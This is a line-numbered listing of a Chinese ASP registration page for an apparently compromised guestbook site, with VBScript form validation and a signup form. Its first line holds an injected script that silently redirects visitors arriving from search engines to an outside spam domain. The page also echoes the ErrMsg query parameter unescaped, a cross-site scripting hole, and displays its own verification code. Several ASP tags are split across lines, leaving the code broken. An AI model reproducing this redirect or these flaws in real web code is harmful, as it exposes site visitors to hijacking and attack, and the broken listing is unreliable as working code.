d:\wwwroot\wuchunhua\liuyan\register.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><html>
002:
<head>
003:
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
004:
<title>填写注册信息</title>
005:
<style type="text/css">
006:
<!--
007:
.style2 {
008:
font-family: Verdana, Arial, Helvetica, sans-serif;
009:
font-size: 14px;
010:
}
011:
.style3 {
012:
font-family: Verdana, Arial, Helvetica, sans-serif;
013:
font-size: 14px;
014:
color:#FF0000
015:
}
016:
-->
017:
</style>
018:
</head>
019:
<script language="vbscript">
020:
<!--
021:
'检查用户名格式是否正确
022:
Function CheckUserName(uname)
023:
CheckUserName = TRUE
024:
Dim count
025:
Dim sstr(15)
026:
Dim lUserName
027:
Dim AscValue
028:
lUserName = LCase(uname)
029:
030:
'提取每一个字符，存储到数组中
031:
count = Len(lUserName)
032:
For i=1 To count
033:
sstr(i) = Mid(lUserName,i,1)
034:
Next
035:
036:
'依次检验每个字符，必须为字母、数字、或者下划线
037:
For i=1 To count
038:
AscValue = Asc(sstr(i))
039:
If (AscValue < 97 OR AscValue > 122) AND (AscValue < 48 OR AscValue > 57) AND AscValue <> 95 Then
040:
CheckUserName = FALSE
041:
Exit For
042:
End If
043:
Next
044:
045:
End Function
046:
047:
'检查密码格式是否正确
048:
Function CheckPass(upass)
049:
CheckPass = TRUE
050:
Dim count
051:
Dim sstr(15)
052:
Dim lupass
053:
Dim AscValue
054:
lupass = LCase(upass)
055:
056:
'提取每一个字符，存储到数组中
057:
count = Len(lupass)
058:
For i=1 To count
059:
sstr(i) = Mid(lupass,i,1)
060:
Next
061:
062:
'依次检验每个字符，必须为字母或者数字
063:
For i=1 To count
064:
AscValue = Asc(sstr(i))
065:
if (AscValue < 97 OR AscValue > 122) AND (AscValue < 48 OR AscValue > 57) Then
066:
CheckPass = FALSE
067:
Exit For
068:
End If
069:
Next
070:
071:
End Function
072:
073:
'表单数据校验函数
074:
Sub CheckData()
075:
'用户名字段不能为空
076:
If form1.name.value = EMPTY Then
077:
Window.Alert "请填写用户帐号"
078:
Exit Sub
079:
End If
080:
081:
'用户帐号不可以超过 15 个字符
082:
If Len(form1.name.value) >15 Then
083:
Window.Alert "用户帐号不可以超过 15 个字符"
084:
Exit Sub
085:
End If
086:
087:
'用户帐号格式必须正确
088:
If NOT(CheckUserName(form1.name.value)) Then
089:
Window.Alert "用户帐号应该由英文字母，数字或下划线组成"
090:
Exit Sub
091:
End If
092:
093:
'密码不能为空
094:
If form1.passwd.value = EMPTY Then
095:
Window.Alert "请填写用户密码"
096:
Exit Sub
097:
End If
098:
099:
'密码不可以超过 15 个字符
100:
If Len(form1.passwd.value) > 15 Then
101:
Window.Alert "用户密码不可以超过 15 个字符."
102:
Exit Sub
103:
End If
104:
105:
'密码格式必须正确
106:
If NOT(CheckPass(form1.passwd.value)) Then
107:
Window.Alert "用户密码应该由英文字母或数字组成"
108:
Exit Sub
109:
End If
110:
111:
'密码确认字段不能为空
112:
If form1.passwd2.value = EMPTY Then
113:
Window.Alert "请填写密码确认字段"
114:
Exit Sub
115:
End If
116:
117:
'两次密码输入必须一致
118:
If form1.passwd.value <> form1.passwd2.value Then
119:
Window.Alert "“密码确认”字段与“用户密码”字段一定要相同"
120:
Exit Sub
121:
End If
122:
123:
'验证码不能为空
124:
If form1.RegCode.value = EMPTY Then
125:
Window.Alert "请填写验证码"
126:
Exit Sub
127:
End If
128:
129:
'真实姓名必填
130:
If form1.realname.value = EMPTY Then
131:
Window.Alert "请填写真实姓名"
132:
Exit Sub
133:
End If
134:
135:
'EMail必填
136:
If form1.Email.value = EMPTY Then
137:
window.alert "请填写E-mail地址"
138:
Exit Sub
139:
End If
140:
141:
'必须输入格式正确的EMail地址
142:
If InStr(form1.Email.value,"@") = 0 Then
143:
window.alert "请输入正确的E-mail地址"
144:
Exit Sub
145:
End If
146:
147:
'检验正确，提交表单
148:
form1.Submit
149:
150:
End Sub
151:
-->
152:
</script>
153:
<body>
154:
<%
155:
'生成字符串形式的校验码
156:
Dim strCode, IntCode(3)
157:
Dim i
158:
i = 0
159:
Do While i < 4
160:
Randomize
161:
IntCode(i) = Int(Rnd() * 10)
162:
i = i + 1
163:
Loop
164:
165:
strCode = CStr(IntCode(0)) + CStr(IntCode(1)) + CStr(IntCode(2)) + CStr(IntCode(3))
166:
167:
'将校验码写入Session
168:
Session("RegCode") = strCode
169:
%
>
170:
<form name="form1" action="addmember.asp" method="post">
171:
<table width="600" border="0" align="center">
172:
<tr>
173:
<td><table width="100%" border="2" bordercolor="#6666FF">
174:
<tr>
175:
<td colspan="2"><div align="center" class="style2">
176:
以下为必填内容</div>
177:
<%
178:
'错误信息处理
179:
If Request.QueryString("ErrMsg") <> EMPTY Then
180:
Response.Write "<br>"
181:
Response.Write "<div align=""center"" class=""style3"">"
182:
Response.Write(Request.QueryString("ErrMsg"))
183:
Response.Write "</div>"
184:
End If
185:
%
></td>
186:
</tr>
187:
<tr>
188:
<td width="21%" bgcolor="#FFFFFF"><div align="left" class="style2">用户帐号：</div></td>
189:
<td width="79%" bgcolor="#FFFFFF"><input name="name" type="text" id="name" size="18" maxlength="16">
190:
<span class="style2">(字母，数字，下划线，16位以下,用户标识）</span></td>
191:
</tr>
192:
<tr>
193:
<td bgcolor="#FFFFFF"><div align="left" class="style2">用户密码：</div></td>
194:
<td bgcolor="#FFFFFF"><input name="passwd" type="password" id="passwd" size="19" maxlength="16">
195:
<span class="style2">（字母，数字，16位以下）</span></td>
196:
</tr>
197:
<tr>
198:
<td bgcolor="#FFFFFF">密码确认：</td>
199:
<td bgcolor="#FFFFFF"><input name="passwd2" type="password" id="passwd2" size="19" maxlength="16">
200:
<span class="style2">（再输入一次密码）</span></td>
201:
</tr>
202:
<tr>
203:
<td bgcolor="#FFFFFF">四位验证码：</td>
204:
<td bgcolor="#FFFFFF"><input name="RegCode" type="text" id="RegCode" size="18" maxlength="16"> <span class="style3">（
<%
Response.Write(Session("RegCode"))
%
>）
205:
</span></td>
206:
</tr>
207:
<tr>
208:
<td bgcolor="#FFFFFF"><span class="style2">真实姓名</span>：</td>
209:
<td bgcolor="#FFFFFF"><input name="realname" type="text" id="realname" size="10" maxlength="10">
210:
<span class="style2">(请输入您的真实姓名）</span></td>
211:
</tr>
212:
<tr>
213:
<td bgcolor="#FFFFFF" class="style2">电子邮件：</td>
214:
<td bgcolor="#FFFFFF"><input name="Email" type="text" id="Email" size="30"></td>
215:
</tr>
216:
<tr>
217:
<td bgcolor="#FFFFFF" class="style2">主页地址：</td>
218:
<td bgcolor="#FFFFFF"><input name="Url" type="text" id="Url" size="30"></td>
219:
</tr>
220:
<%
221:
If Session("IsPassed") = TRUE AND Session("IsAdmin") = TRUE AND Session("Class") = "1" Then
222:
%
>
223:
<tr>
224:
<td bgcolor="#FFFFFF" class="style2">用户权限：</td>
225:
<td bgcolor="#FFFFFF" class="style2"><input type="radio" name="Authority" value="2">管理员
226:
<input type="radio" name="Authority" value="9" checked>普通会员</td>
227:
</tr>
228:
<%
229:
End If
230:
%
>
231:
</table>
232:
</td>
233:
</tr>
234:
<tr>
235:
<td><table width="100%" border="2" bordercolor="#6666FF">
236:
<tr bgcolor="#FFFFFF">
237:
<td colspan="2" class="style2"><div align="center">以下为选填内容</div></td>
238:
</tr>
239:
<tr>
240:
<td bgcolor="#FFFFFF"><span class="style2">自我介绍</span>：</td>
241:
<td bgcolor="#FFFFFF"><textarea name="Comment" cols="50" rows="6" id="Comment">
242:
</textarea></td>
243:
</tr>
244:
</table>
245:
</td>
246:
</tr>
247:
<tr>
248:
<td><table width="60%" border="0" align="center" cellspacing="20">
249:
<tr>
250:
<td><div align="right">
251:
<input name="BtnSubmit" type="button" value="提交" onClick="CheckData">
252:
</div>
253:
</td>
254:
<td><input name="BtnReset" type="reset" value="重置"></td>
255:
</tr>
256:
</table></td>
257:
</tr>
258:
</table>
259:
</form>
260:
</body>
261:
</html>
262:
263: